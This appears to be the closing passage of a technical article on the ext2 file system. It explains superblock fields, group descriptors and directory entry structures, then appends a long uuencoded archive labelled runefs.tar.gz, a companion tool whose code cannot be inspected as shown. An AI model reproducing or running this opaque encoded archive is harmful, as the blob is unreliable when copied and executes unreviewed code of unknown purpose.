--------------------------------------------------------------------------- * s_uuid The unique ID of this ext2fs. * s_volume_name The name of the volume. (I don't know what this is used for, but it sertainly isn't important). * s_last_mounted The directory on which this file system was last mounted. * s_algorithm_usage_bitmap (I don't know how this is used. No interest in FS compression.) * s_prealloc_blocks The number of blocks to try to preallocate for a file. * s_prealloc_dir_blocks The number of block to try to preallocate for a directory file. * s_padding1 padding. * s_journal_* (I don't have journalling support on my FS, therefore I do not know how these values are used.) * s_reserverd[] This is padding to fill the super block out to 1024 bytes. . o O ( G R O U P S ) O o . Ext2fs groups are used to organise clusters of blocks and inodes. Groups each contain a bitmap of free inodes, and one of free blocks. Additionally each group has a copy of the super block to help prevent against catastrophic data loss. Group descriptors are stored on the blocks immediately after the super block, following them are bitmaps and inode tables, and following that data blocks. The format of a group descriptor is as follows: ----------------------------------------------------------------------------- struct ext2_group_desc { __u32 bg_block_bitmap; /* Blocks bitmap block */ __u32 bg_inode_bitmap; /* Inodes bitmap block */ __u32 bg_inode_table; /* Inodes table block */ __u16 bg_free_blocks_count; /* Free blocks count */ __u16 bg_free_inodes_count; /* Free inodes count */ __u16 bg_used_dirs_count; /* Directories count */ __u16 bg_pad; __u32 bg_reserved[3]; }; ----------------------------------------------------------------------------- * bg_block_bitmap A block pointer to the block bitmap. The bits in the bitmap are set to indicate free/in-use. * bg_inode_bitmap A block pointer to the inode bitmap. The bits in the bitmap are set to indicate free/in-use. * bg_inode_table A block pointer to the start of the inode table. * bg_free_blocks_count The number of blocks within the group that are available for use. * bg_free_inodes_count The number of inodes within the group that are available for use. * bg_used_dirs_count The number of inodes from this group used for directory files. * bg_pad padding. * pg_reserved[] padding. . o O ( D I R E C T O R I E S ) O o . Directories are used to organize files at the Operating system level. The contents of a directory file is an array of directory entry structures. Each contains the name of a file within the directory, and the inode of that file. The format of ext2 directory entries is as follows: --------------------------------------------------------------------------- struct ext2_dir_entry_2 { __u32 inode; /* Inode number */ __u16 rec_len; /* Directory entry length */ __u8 name_len; /* Name length */ __u8 file_type; char name[EXT2_NAME_LEN]; /* File name */ }; --------------------------------------------------------------------------- * inode The inode number of the file within the directory. If a file has been deleted, the inode number is set to 0. * rec_len The size of the directory entry. As the length of the name can be anything up to 255 byte, this allows for more efficient use of space within the directory file. * name_len The length of the file's name. This can be up to 255 bytes. * file_type The type of file, i.e. symlink, device, etc. etc. The following are valid values: --------------------------------------------------------------------------- #define EXT2_FT_UNKNOWN 0 #define EXT2_FT_REG_FILE 1 #define EXT2_FT_DIR 2 #define EXT2_FT_CHRDEV 3 #define EXT2_FT_BLKDEV 4 #define EXT2_FT_FIFO 5 #define EXT2_FT_SOCK 6 #define EXT2_FT_SYMLINK 7 --------------------------------------------------------------------------- This concludes the walk through of the physical layout of the ext2 file system. Further information is available from http://e2fsprogs.sourceforge.net. ----[ 8.2 - runefs.tar.gz (uuencoded) begin 600 runefs.tar.gz M'XL(`$LK.3T``^P\87?C-G+Y2O\*W.9=(OELKZ7UVKENDU=9IKWJVI(KR;M) M>WT\2H0L=BE2)2E[?9?VMW=F`)`@"5)RLIM>7T\O64N8P/CTY.3VOD_S>;_^.STY!3P MNZ^[9U^QXR\B3>GS_WS^O][;MAC7`^+5PTPKP:V$L99@N[-`^Z&=1(3L%9F`U23V@#5Y#9!O5IH6?8, M_G+FAR^![.&"[?\WV_O?GG^Y_OUP'FP\_F7V@=W]?[?;>2W6?Z?[=___6WQ* M\\\_I=U%SP\)"M8__!33E;.&'1@GY<#>_8[686^'.D<>W/>9CP(^)@AYY&_^7> MWM?2JMD+,;ZCY8N]/3'@<]>;!='\8P+C25)"!]:;>4J#=,1W9Z:P',1B?]VS M_#"U5NZ]/W\COH>;E?R6^'_A\'46?'12:Q_Q)2`GL@C<^^3-WG^]V6MFYL.( M4?^27\:P*(XUFTD.UCJ-!5DYN@L_YO,TBD&MB,\$09A!#X*\T$_]**P;,G#0 MAIKS)AR8K>0IL:Q%HEK\,(+AJL'K3?-H$RH5`$(4PZ3"3YVE-W-XF(*4^Y;0 M%PY!C.`2A1/=*D![,RC,`52**[.&T"*L]2Y-5^ZL67MSS8+`6&M_<4F MG+=;6C_H=K!G60P^V)=D4PT%N8&S%!QE#%.]5[18)+S0(N8,-*0:2184134\ M1+YG[>.R3:%%')W"3M-PF#4"VQ7RAIK^&.^K/VJ>O MU051PBO/+OPQ$;;H7Z43=@FSBX8.WBQ*H_1IS1-R"M"!QR%.C/1Z#B#,>9+0 MM-)=)S)14SS[AA7$.X%U4U3Q,$4S0N;"+0C]0C&"10X3*$)!; MCF851;/8^^SQHG'__[S;_Y;]_PRS_6S_AT@1]W](!/^^__\6'WW_E]N_^%&[ MP;\ZP']/Z-_7]._IW]*6OP`B"^;8/TZ[EQ/UY^W>U[3U\2H`NU`/9[X.-@G^ MKWS$B_X+\#U?\]#S%\K/#J/P$`7JLWFT6L-0XH0]1N&W*8-$$[R(&_O!DQ@) M&%;HP?H.@"])!YQ8ZW="$*_E.$"G[SAMS!&UU@^]:7]T@X!V)O5PY`R&UX.A M[5S>#?N3DDSG&S]`1BS9K->PT5*P-GM*^6'RZ*[7?GA/2@=OEG)0*TCQR$FS M"^[*;8(MW00FA(S- M:J]ACWZZ!%`(.@K=U'_@)`70`6T<92I00[6'O?-KVYE\Z-U>3MKLYY\SR(?1 M^&+BG`^N[.'%H#?,]:`F3^]94L:')8_%Z%:P3X$]S<&`E2F!@G@L8R((_:(Y MA%G>`<-Y6D:/;.;?(XD<*X$AMCA)I=(Y?=6DJ<,SA?5O.174,H\O+B3VU.L?= M$Q.8ABB@4MNP\!G&`])IP()^\%%0%O`''BB18)1R`$H9,HN0\KDS<`F@7&F_ M1?%PSIWKP;G3OQN/[>'4&=OO+6J\^&G8NQGTL2%;QF][[\$P?IHXTY]N;5KX M*@GX1[#_EQ0''"U_R(Q&`Z<>2(4PLE+B<'G=F\+*ZU_?7=@3/9_H.I+2"Z`4 MP(3G=(0F:"=U2NP8Q"55NN2X$%.XH?;PV-!,=""R* MH.3T!$!YQ/)FAR&#NW,@[J01%_(JQX\,C0JUK)ST94;HAQJE(;TZF.I86/*W M8#/NS`_\]`ERUF!-_N_&G\=1$BU2]MY/-F[`^G_X@W)!I(6;2=]Y;X^+=O8O MD]%X2K9#$2)L"AZ?!VH8]9B91$K),CR5694>4.YK/XJ!+\2B$O^>ASSVY\[, M3U?NF@+@+/@W9&1,9&1RSC&@20\8")2WQ=P-'-$BL@_+X\D\]M<8(N>-@E\A MUYBY"4>U1YAM87R=DTQX_,"]?SO[=Q%TEYST36_\SK''X]&86<=EX-U0!W?* MX*D]F0J@U:WHM%%5^Q):;'[SBVB(/.374"`GG%%0IE=Q7@7#NAR,)[@"1Q=V M*VE;Q39H,1EC8Y\B*B&1)T=,W*"B1:N23+5+2VQ6J)=H=021DIN44U-$$>9? M;#0JM[XN4B8AVT7>%T$H!!(]0Z!?)XM)#*7P\]X%;9P3]*I7SL5@//T)C'TO M#[I5O26/"#`6<6?PVZ7T-8$`@$.X06A'\W8EI<^**,4L623)(NW,##3]J&H@)7.%Z.W#>#"U+>OX$^2`'0.\ M/[9[@$#PKHG`36_R3O2_O#3!S^\NI&5?$+QK@`N=$?C$`!;Z(O!W!C`$:I+` M\:=.6>>(<*XA=$T(&-8[YS_!'F#1S#6B@/_LX>Q]MP5-6!N*9$($4YK:8V=R M[HR&US\)8S"@78[&?=L24AGY8:@L2)!()IQ_'MV-A[UKY\)^[XS>"8E,>(.; MWI5-5FIEQBEL9;+FB\N@ M&[*.1]$'4IK61"809'N/,3@SL1.TVFSNAG1^2:87NX)T$+JT;.O=E+8^O8T[96IN][S#96S5Q^?%8*MO`#N1PX$26'(`VCTH[S8J5>813'5@R1HSIW07?%2 MH9+D%5&!M<\L^IE3R@K%&O$8B(L6$>%CXWT<;=8.!G".*K-NPL2_A]29\CL2 M`8""7DF$O#,(F__(6.2BG%%6RUOX]3R63 M=J'>ND@.6+Z/H7T>B.HIVY?H)4+S)0<&V6'!-FKE[L+4A;054 MUE:='8,51;%_[RA;+D@&BX<[2X_6A?Q!U3J=XV;E)AB?@(NPP!.,95I![!<; MVOGXIS5X,#RULDB4K&^6@WP'.8B9!'K'39)58>9N$ Q%VO`Q\<"A`]DE3S MTQ#MU"4CJAVP2/R:(PO+VO>U@XU=:@E@?=&ZJ9B@$,J9[YB#?D+:"?+HH73F MMY`'(4G!18J"C@H%.J5V$=EU2ZTB("3R@C81)"NG.!3_M8[_86(IT# M+"9JK6]'U_8!]/5P#GB2UZXDN2A&,DITEBRC#>QF,S%_6)H,F(R%M;_PF&K1HNP,_VVPAC=[4@$4696'G@/V."KM984HU_/D_J@V%VH- ML^URD-*NZ`8)]2/*J/]U'-W'[DH.Z-$-4XVR).-!+BY*I525%:AXDNG"9OYB M&4';BR-5?M=T-AWWWMOCB6U46WFVE34@#<1'[WC`O&@S"YZT!I[.CY0F*TIV M%U@_A>](1*X?B2O%Q6JM"D$4486"E5-YM,:]\CPL-@'6EI^B#>'=1[@FA:90 M/529I8*SH+6(HQ6H7PP&9Z!J9Q>]:8]"K]W4DPT6RX\3V7AB#.$=!8 MYG.^3H76RDM66U2599LM+<:$;X&KT*G*5SN`&PR3V M0JQ!BDI>L%AXIP(+AUV#5#IP+ZJ@8Z M[@TGX);!J[4.3]K"61]7@E4Y?:OH0<5%U6CS_&;TWG:N;!"(DF.9UUHFK`O[ M_.Y*);8[./3J18@:IPYY%1;(JUY=`LIN738+O_ZJ>GLD9R=]NY;(R[XB5Q&[ MFF/?W%*!HPEG;*,.*/4MH5V,IC+?J5!`4`:NR#^:OH6TBV"O*CWM:WMJ7PCH M2?&V1((NO%RI:"B*B$V>>NUKNSXVO-&+(%@61*1<:\7L_Q)FZ)V3%8>,)1!` M`@293)U?O\O,Q8`$W\<]F3$3VDD%;?)N<.O<#":3P1"F8HK'9P+UNY+@(IKV M%V#ML(;1*9H'<7/IW.`:PCI"IP(:3,:CT=2RNA4(INO2NY1!F*U;5B:0#0*] MA%AM\XFM<+9(D,+A&ZR-%:/M7YU^/0),'L9R+]MNU[#$,&+`M32:?`L[W5/R M,DG=]&AYP!*(M3AVE$?2XE@7]QX\YD0:>)QY37*($]2BI[H>#.]^=";.X/)F MRAC,X]FQGM#GX`G,-<.K#6;P]?"=!>!N#7AL7P'USG$-&"P$F9_6@&$Q(+B. M=_\M@>MX#RY'-#(S>'(WN$#P\8D9?"7!73/X_?1'`HO-I`(??_CQ#L!GIK[C MN\E8C*H*^R!@71/L1P'KU#&\0GG.3`ROQK=BI`:&$M8U,92P3@W#$:.+,`88 MN#:"G1@8*EC7P%#!.@:&$S"UUJIMM5KP+_NF8,%M]OWW1:-L&PB`,>Y(`#!- M!,`>=R0`F"8"8+$[$@!,$P%8,#L2`$P3`5P5.U(`3!,%=`@[4D#4=J'.[E., MY:3Z64'52P]$G#.ZI7;GK8M1VT[MU M>M>PJ^6G`GDO*@#$1_.:X(4*GF,5+,"V!\2TK44'3VY[$+^*DFY7OS)*NQ?= MBLBJYE2_DUEA4I+MK>+@T597$_B2$'HJ1#W&^HS-/E!`+2F]NQ/9E`J`(&U[NX M&`-3JGNUV?&GA?SD9H11OL)L.;,V8.._8#7'>)-&_:BEGEG3I;@#E"CA1(K< M<&?#?#GCTNY-[\8V<>I-L=YZ:[5$W:,(@07M@"QD)3__B8I9%C,A#FA"A"E, M=,Q79"<%K-X/"O.&B=XF@,0Y MUU%^D4!>1E(J'HR&V2VT@?-N./K@3-\"[/'F/LS_W;6UP'D^\/+W9D\2UFZ4`IQOX\?/#C M*%SAW5I1>A`WOECJK_@1#HU]K41XT:_:+^J#?UKSV$<2;O!")3&U5@'.I]8N M,AB&Z'B?PCR'&9HV2K-59)C:4E7)^&U)8.8U&]6"U\*E@Q56[`P\-/>8=3;:#>50BIIP*Z(59TE"V'O+@B"'+2O`,HY%2=Y<3$B8^&5%)/P'+ M*M$70VR25(P<_BT*F>L@Q>INTFSWLJC))7+UH&EK1W%81]TK(HK#048HTBIH M_";#P;!-BI^=##7+7CQ1;J`[L`W#*]%V/<](>#;+ MR6;SD9/5'N/`_:6)NH[32'>M3:J(HGGN;:KVA"VX\%4;=$%_\^- M&]0HNZ-[[BJXJVQ^YF!L!X&/R>+-IFZR\D;C-EAUU3CJ#-EDP;OUKA6@:*Q- M=LK8+D9:8YTUAEEOD@VVN,T,3?UQQZV.+I]X<7C4Z.LV:X\4-3-'*?E^7+4P M^JN8B0L%S;RT8W_IG'??%N2]!=VQ[]XYO\?P"_OJ?'_)5E:X+MNB\_Q","2. M^/$.<[%!W6-6K9"[@.I%K$(WFA4@"\.*]W)WB)'_77=R`.A&%OB.OU`VFAE MY4FULAM(67PM+L#IC>74H8A??/*Z;-66>E:V^(@MMNL7F//6\K/3.C=QHT=_ M@+99!97,8B]S]J71E\9M'/'6L>8/!I<&6WZ@N#3JO)]XGOAC,>*N/DUL?,A< M@*HJ(ML!L]IB.@:_5)N'U=U6.V`92B7=I"@#?4"N9FV9BX>HU4)?+Y]P)C_2 M$]+J#!]Z1P];-GOM2+_6_$VK6MX[:T82N6'FIY3YTWA`TOS@G\DKC."^F\7- M\ M4^BN8,^.^4/-,%=K9Z?XBN+\V+"=5U/BSO:LN=N@)<5I^Y9BY%1"4:F*>NI# M?W&!L=(4;E9XCZVQR(+[?H;8,!2\#2%OB)K)J6=#D)[XWA30>%[YQ0JRO_AC MOM[*"DM=UEV4%VS@)F@6=[0B.\/+/[3QF=].XF$NL(CJWM9QL,=JMYL:.1-4 MW6^F%BD0J.RRAE>^%.*B[+TOA2#%%,"8=V:08X?` MCH)*\_M,]()FX44DF0&#@%LCSV?0MG2J<@AJMIM'43$+C4U>X]56BIKB/-8L M!0_&T+0:F>YF`X;Y-\]]==Z-<_Y<)Z*IIUH2_Z+ZJ5E5A9UT(LJ6.D]6#3$ M)0_G12P*/]=14II!`2Q/('J19T]&4M>Q((<\`1"V"RZ`/Q2,5ZR_C&RH2J?B M&<$6_,$%3S\4%4RX9LTK('D*YXH$6;=W(*T<^RI",2\G@[H'H5IY75Y71BQ7 M;(UY2T.U+#\*?TZQK$+A5U7LB((A#"[G,`UG98WG"V!H:`S-,X?6*)\/)=O2 MZ[?"MK*@7MOZ\K/W[!E(Y)C=J&M@*!Z[$THJ+G@]-\\-2!0G=J%6<%:_G)AX MEO!SB2:H?2;19!7Z<\DFR>TL'$TQ/IO@!EOM*L)AS M[<;N*O>]D;-R0S0R)O^60J"8=L=,UJVG:^2@'/%\Y.XU*-SKM8) MZZ-P$JP_MH'RXK>ZFCYLVA5&6O]B5W,I!N,>[>BPU+M8DBG=5FEXJK=^WA5Y M!W;\2(R?*FUF]EG=G$)L0C3K`G<_]51K$,S<^<<]JXZD)E9KWXM">5?%7/:N M3$HNE^$:BPQ&6"'$EXTYIU*JI!4L-/W0"JB9%#K+1ULNK!)L%><\VQ9X?J!: M/DFMK8H;)IMMFVW]O0Q?D$W^;/ZS'\VO(UEZ2G_[0_KD4*C.U!C!R&OJ`N>SI=& M+374&AUGTSG=D8$?PICP/O`SF%C/XN#Q+\TA`=/DOTQ)98/+L;4UI=AD287! M8&M$>_B?]KZU/8TC6?C].OR*CK-QP$8(T,UKQ3E'EI!7)S)XA11OUO'#,\`( MC04,RX!E9Y/][6]=NGNZ9WH`>64YFX7=6#!377VOKJJN"YSM?:T(R[0.#73% M([5M8NF\M\IM4N+JE\.+/AKQ`EI"`1D;PTXB*%BT31.0Y*^#*/H>K[P0I),BC.L$5%)$FKA%]2H%"9T!9DZJ1>23&KC MHOHQ?K#UH'?#5BQ9=LU9K[/"SF4T'$8WGU2O5/BM5GL>.T?5@QPTSBJ"5VF# MO:GZ0?K"2I[?>AU@3%E>",81SX]I/17Q>%#0PKLNW5T]';WGB. MEWY$_+2J[9&ZX,0VC*Z7-H%`%E7-5:0(D+0,=\^AKER&25I"!O@HDK"=)*12 MKH&&--?"4RDM6NBM#`.!O/:[N+OD?&T561.[FF*0-OJEA M3HM?*'DLTQ>3)G*1T,6'N![79.:TJ-^1@YD5MS2LV7A;[,*39>+/KK#:YK5+D`;*L+',&EWPCM$+U;OLIH!"9%T4X M'H@MR3?EPD]R7VT]EN>LWP(QY9N4`6PRGUECU^XRPT-J@Z52M5NPN%K%G]JF*ZM4 M:>F!/Z%*ES=+[NF&M@^VPC@U3!DK"(?9L''3AQ=O"[3J="_'-E"Y.C8^"W+4 M+E@^"D(>=F\[ M0-UE)=(M6EI%NL!M:F`2&)'5<[Z?YN*B0'-64C^J_!9^;X;Y`WAS]8W=982. MHEA$<3!\'\@8$Q1EZC*=N`4]Y]EYNR]]^F\"&?8-#6,P6E$D=,88HRI_AN;$ M7R5I9"26H@JK9=9"N51T1IE4$S"K#`FE+ER.'5-'C0` M<"<0!`OBUM[DH!BO_5DO&HE#,XI$NK@<`>7NKE-U<%0%CMEQT3YOO>R\;+QL MG?W4.6M=G`."MIPU<2#=:`30FTB&K$@J^4126/AGP<,OXAE(9UA!4=[]>Y37 MAV'0^)[B@5`K&^<8+X\;"7#R576_\)L.OP%4=+56NN@M-HGNI"5I5.VKIBKS MU,"<$1E>K<+52?92HEW0R>8P#8(W@29..R(IDY<_Q8$#VRA^.!I0D38K7D*J\I M*QZ4V!(5,2=IT<-L@TK+!H1.OB7#X3P=%PP&Q;9?5G&S=;ZL\D5'N5W]PV?B M7_GU+YR*T#D&*S$(RV>!6I*9`X[SBIR[\G%9;:_D\00+ID+E$5AEKR1A16_7 MK#S.8T&SGJ_6K$43]VULCV'H;.RJ;-7RJ50C65J]?=9@KM:^16.YN'W/'>V3 M<5!Q8HEO$U]C%"I?AV-V-V1%[M!L$OP6&P(;1O0<_D"9*?HD^#-?.BN)S8+G M62!2:#.BXR]KN0P=+0.1+>_!"DRJV0WX#=VH05/MOE"EJ89^/><4B;)ZD[_J MIQ(A_I:\U`G,TAD4L2M?.HOE^O.IGU3^5_[Y&?*_[B[,_[XC\[_6Z[6=;'B9:G4KW+B--X&%C1;K7P=7;1;,"NQXUOR'_64^'I1"M5"@.I M),TV2`LDOQHI%]/)_I(LC,FS^3B$Q_8SD-FBR)=V6.3S][1>GDL7LO#P[/6K)S2;S*=H='!8-[BB(%^30(,X61 M?'/6>=FY>(N!&O%;LW,!H`\?>A23+;?`4::`6%+BW"AQODH5?S4*_+54$O\C M9!7G9Q<-\50<'YRV&P+$-!Z`PU:S?7[0/%<3K%8%]@X>55$F.R/*(D[ZP7@6 M7LK4&YP?M@K'63_X(%)%FUSX0W7/*/_2".=95L7-<:<1@G*U)976\BJ5N:UV M%E=:RU1Z#N7J2RJMYU5Z3I76_KRXTGJFTK]"N:TEE6[E5?I7JO1)?7&E6W;` M5(H5;T7C;U\<_M!N_%T4JZ4$#A>*$;V5%HQ';OEM>'6HEHK*P\3GC@JT3N3G MGP5*]/+$NR1;ES>U^EN=-N92)IS'#"NI0+8.3/B(ONWGU$<[`!,_>;)*3VV& M[;?[WN:FA^#`6%G!9!-08IUE*B:$5JEY*0TS,:Q+V\DMH(;*1#H&QV53U[ME MMQSYWSMWS0`LSO^^O;>U4Y7G?VVKMK>#YW]]N[X^_^_C(_6"%&=?KP+^I=>" M5&=G,L'7RYE\\"P!C3Z*0W_:%\4>_/N_(S\.*V%W4KF<8LHX<>IW(TPK$4X# M.#K;)R"XG(SC63B;S\3SH1_&@7CEQSW*#2A4&4TP&-4.A/PS$ MX1S_+;Z"'['X\:0DFTG)8M1W5[]&X3C\8'8LV[,:]:8N!,;]C\5Y-'WO#_NQ MS0IU.#XW"[)6COGTBR79H4DW?LCZ,DYUPPV5[PV])5Y'Q$$O&I,>`P@$%D@T M0G17Z8]GF-U`QK_6L5DILX<5IE7HS@=BA)G(![*@E!7- M$@YD.J#SP7F#$:H"R7QPUC@\N3L\U0$>FSWBR M;'0D)ZLNF%WAMX\PU:CWX,\[F]4GF]4_/TB_QX0Y)ZTF@%0K.]T'Z52,+&:K M*.-F!9R+5Z;R\#Q!;,ESOZ^&1-Z#I\8`LV?(`GPZ`_')`3TX/.V<'/V-H`6Q M`O!D`2SE]R'@[<7`S[$-IZV#H\89PQ-']!Q;,HQ(6G"7NV@>-4XIS#>5VL52 M%S`7PV!FI;)Q=[R!F8EEUYGO4\G<6)NBTE9'T[RQ4W&5J?8GB.+_9+9(#8]L MR#%J>2BWATHB)]_C(L4DPKA%C>'<.0/V=X<-4MH\193=C+"[XK.WL3@]G\#1M',(OK2 M[TVCC7#,E((N&2F+&6!BVT-H/FP8J(J5@^U# MU1;$=O7/NWDX3ELO))00F#Q6::1^:)PU85&!P"FL):K18BYK$&?B4J*=PQLE M=6VYL)2C'^*[[X1$-HP&G<1&TQV#&S91HX,S1A@,K%958E-PNFUA6<+XO2'' M12B5[('#,/VWPDJ\<7*_N\*P=9Z?G+<1+V8(G',(G)B&5; ME=_;%.9YA:VHNA6RZYUVM#65:J>5]<)*<>Y`(=V_>#[-DF:>=5=!5@V3\M41 M*=ZNMZ@&91J\[PQA+PU50H:$&P4Q?MIRH8$);].')(27'9P5W\PF'S9#YC(WG\(_S.2]"?,N)5ITT ME5B<;(-$@P/1V*T*C%;5=OD)3-LHWC?0X(.0TF'$*A>M@D5^G4#/X0L.1:!J ML:#\`0%=Q#A>4\G7A*2XF66@)WZ_MF^U$1V,"<&KB#)/8IXR?"9K4RIT.+%O=?6K-U&8Y9F8\MYPZ8 M@KPX:UV\8E@X2RE)N$462.TZ4-2=]P+F[(`K[";LPR M_L?9KD\;EI4YQ62+E58?*^<(673^4&D-Q#08DB\=KB%*/)K([EF9MHDBGA3! MO5K=?GG2/.)W0('2T#;DD0E:M`LC`YEBBL^SX$>+X)NZB1+Z/`5M903-)+MD M).W&X=G+SO&I9]YLH6:V'?204))PB_KV=,&+9J9<79CR<+H`)3=*E=C&$BH- M$PN1&7GQI^9AJM03:M_'<>]J&HVC.1`'BJZ:%6-/7KZ\H(2@A$"5KU6Q_,EH M-&<:ZJR6TQ#;%=>I(-FZDUA*!3&W)F9&QK3KF(PSC0A6[\7+5S:B;4+4CT!& MGXG^?#1QMZ'9.C@_>=FPRSXQRW+'A8]W@5C<5"K@:6EF^IJCZJM2J62J(0L5 MJY*:D5HRF;OGIS^8XP@2-[:D-::C=Q1-`UT=U-X;SF,XP;-STFRIA9!%0X<$QZZ+)[73@0'36:#?.?FP@L4A)&S4,N_9E'-M0 M=2X`1^?'D_8)IO65[3DZ/CX6BLU\'\8A[6*:SW0;%(:7K:.3XY,#`\F3JH%D M%,&A$?H6'DD]PZ@WHY1YP'GT'03TI'6(N;$I:9WGP<^SXK>7WY9%K4P&PZ4L M=-N$?LW0]5QHP*TUM(S]_3+L)OQKAM?XG9RPLN"2B83[87R=88(9XI^*EPL[ MF+^,.=)CHH-2`:G?S\,^OSZ-;D1M%UG<&&MKW8QAQ"_"OL'GABR>$'@;U2LA M7_#&%@R1.5-@461/0_0TQ"&Z?N,^S\",-,Q+FO5>#EQ?PQVI,_#<@*$^#G+Z M^(+8TY.^!4SJ3(-5/B7UIL4D4\7,E>P;`D46AE;IOAY\O6B]^1@;BO>]O%&3,8N372%.9#(O*\EE$,M,\ M;I?L,42I'.3.!![5`M82"*<:($D=GX:Z1+6=E)=8`R3P"2[0A3/RQ,/Y0&V' M79@UYU+*3>!XAYB`I(C48+3&I$RM'F!!V(>=JW!P165A>\=H;'$9!L-^C&9" M9GD$'YC@-YB!7,UH_4WU;0(.73>74]U83G7'\GCB7:W8V:L5.XMP(W+&Q-;: MSW6?[<>#U&/H`S[VY[,K13E3RF*82G!C*]ISW0M89LEY1Z]P$P@8ZH/"Q`883.8QN^#@QG@_T\X'U7$U\!K%ZD<+AA!UD M8?6\9(#U&S1K&5H#_*)Y@>-HH$F(*8\D$=.*36;=(TGKLJ+W4,Y(&E"L[\L; MF01PZ<`DH(YQX:V3!N2GV0&AM9P:DM3:XO.B,EJ^MGAC5$:+UY8)E5I;J3DU M(*TY59Y7Z8V3LVT,UO'8N!3%])N!@WTD9Y3.<5LQVS6^4Y9QJRA$'PJ7Z6)D MJV84HZOT!HH[Z(4Y@Y.*&7*E4",&(J,"D%<+E$B=,H6;C3B*!+5B@S@CBH&5 MY:^Y[(NS5R='LNRVYKY8LH[%33B[2@2<;Y7"U8V*[#`D*KKA;DB7F7LV;'& M@K1E3IKG(.4>G$I;X"/R>)['*,(`M_H>[1G((2G9C,^#*_]]"/(WQ?Z6VQ77 M-B^,;".-17W2O&A(`V"]IH,/06^>TM%9!7$U2_M=8R4'?G\CLFF+54HNX*UD M[>8`2N,ESW,UUBEPXDIFL]#$Z2DOI(B^<8E3]Q/&74A:/HI3]Q\+1*FX,\U> MEF@=FNO"A`K=\I(E*;/Z'0N723EL25D%[7N.4*'S/'5AE+932*3(A`'M=&(- MJ>]:+,5!Q MA+@.IF,8\7X4Q'#*4=GK,1R3?C>:8W#3F5(,3X-+/`)GDH74CE?*[PI+TC]! M_3+N77^+Q]$_YB''P.4AI`L%]&CJS?:Q[8!D>%C1Y2TT=S6-)HOTWC2KIM&;AD%/3[@`3Y6#G?+U/&4MS@? MHX;#+C0_-H-"6(WE09%IQ!E!SJIP%5.#S`5S%Y2KZ#2R*D7V!#?)QF(43P## M'';WF]KN6]ZVM?H38G'G:L^_CX9S2>LIR5+I^SJ`GKX(IW2@A M&<`(W'%%&/K'Q`0=B\D=AV-%9:_H'E+N=GD)TC@XOSAKT"W>P3G9+RM#*9I M`TU-<@GOF0>I-+>I_7F/^_M*^G-)JPB\P);\N>XTZ17S#%SE'?USE.2\XL.T M1%=29B8H4<4Q;C`Z3.;RTBU`!XW!U!\QS9_XL!6@-4#'_;&,&V!&ET6BC,*$ MKTXB*308\@+LE'.D;S?A<$AI:F^@,NP>IGK@+LR#,\"]5S M]"2"`O7,B^.S1N-Y&\IL.2HY1Z?D[21V@\DT.1IFVLVR*(MV_H,HZI/+0!'( MV""$95E2E]T9B3AA=;P:4? M+U*?N!!>6CBPG9=49]KV#?ET72D=%U8`SSH'Y^=G2JVX$#AQTSEJ2`WBTMZ2 MC8?2&.8,3C*[[5<'9^T&.\(L')^DR.G!V8L&!==TC(^K`-NK0-O4^+@+Z#5! MYC2--ID-+&I2LHB@+><_O5+F%#D3IL'/&H>M'QMJ!LCLJQD$?>3[>]'[(&/W MXD"AC5R0/GU09F#*`4J>HED3$GNVD&*D*6^F)@):W.VE>B MJ5\*JB>]9#@RD@P+;-) M\"NWL77",I-A=O8``N+=Z)PVFJ*^LV.;O"?I5;4RD$Z1?2]1`IH7L2D9MJ^>I4_]<,_5DR41Q5`75T/U/F[D&&J0E\\1F;^2P+$0+ M->8X1LA9;K'!#[*N:#9(O"<-541*"/W2,G<;1S>5[.H_/N]<-']HMEXW,YSA M,9+/%TS]TV29SI\,:WB,UWEG2"C3G"&\>7[Z`[P1R!NF7QV?'+<\;R?SO$TV MR;O9YS^]1!=,S]M+4]US=LO4+)8R-.V\.CB2EZ:Q8SN@UT`7Q.@^>L''TH>] MV3IO/!4G4D/3#8"8C("HA9,AD99MQZT.5P24,MU)?'/6NF@>"1@`:.V0ZY>9:3?;)TUSCMX**(YT>8C\QUR M72?/.P2"H?XQ:7((S0HZ'1C%B$.\F1;_C.P`Y@<_"J),;LU^;^@,H-Y)_):T M4X'4J%&0=QG.O$OZ!C>&[H!"NEO![:VX]GAIB="IK()V;%B%"@A<9]#OW@:1 M;@FF!V!0&<$]W2&K2A7CGNWO'I63+Y2-RA'[VKRYNE45Z4BX"P=!)F8SJW(- MAJM]G&Q+WC=)MZ@EA?,2"<@GPS&L3X59),?-)3I@E.39PLN&M!J1VLK.1JRZ.:6^\):;4U[1 M+MFJ!BR-#.>1(4$):),4;5\7%WWPE-($DS9/IKY3O-&-8$V MTI;FK81,FD<9FD;T@7!O)7:/6+8[38J: M),!RTI)L1D03=T>J6)'WT80K_49FL\'UZ$YFPW?H[I5KY]!*_ZI4*B64,@Q& M1A2+4LM9G$RA?Y=EL546VR4CO9/!(AFK@&QJ5FF#BD6_2E,2!FI9HXPU[$_' MJ`*XM_%(JF8'MHY4#N--O[L59JX]>R.Q'='*%(SWZTJ%C$.,;[%SQH=(B3J! M,L3)9C02"K.@"67.)U!VGSW2^"^G,>JIM!"4FPH>CI&!S]D.ZK5[^VL?TI@T M#FS4F>PV):5DF!.#!CBW;7K#9KB(A1N?T&9W_@IUIQY*:O%Q9&3Z6Z5^O(R3 MI5P4R,8A'4(Z\<3O97'YT23>-VV-$^F0-9K)BU3\-7S]I>/L_5X_,OXC_IGV M-S]/'6CSDQ?_F;]S_.>MW1K&?X2_>_]/['R>YMB?__+XC_;\O_2O`]SY M=UO'DOC?M=UJ'>:_OEVK[>SMUO>L^\0:]7.&1/\&?>QFNT3]F8!'U_/`.Y8&,@-DXJ%17?M7!Z MI"&'07TBX%\VC_D:OEVBP6BAT#Y#M$SO*KU"X?E)$WX#DFXXEF2P4(!JG@KU M@_\^%7\J0EE@Y/]4/#PLP2]N%GS[3FQ$\!LPX6/9B%*A0'Y)3PL>HQZ)C4OQ MZ%\@&Z`]8D65^,*-\[].]!^.@37]OX=/$IE8I?[X M/KFF>GYQ?-PX:__=VZG5"P40K@IDH"F*,G8WBT#2_B>BKS7/\^^B<4FFRULTATD0);%&(&##^&L6..D M0=2VD1]2)AP0)*:#GI(U'\&/]]10)=?$'V-/7,;[\LDPNKSLS#RAC$4Q"]UX MYGEH+=&YY/3#8HSB*'^=13-U9>JA5NV-&J6W]/X1MY8,9S'7'6:TP_:(KYZ) M.B:VHR[CH_=OJF]1>/0V-\4[O+7C8#1C#'8][GVD:^=K"D8S@@_]*..5TSM_ 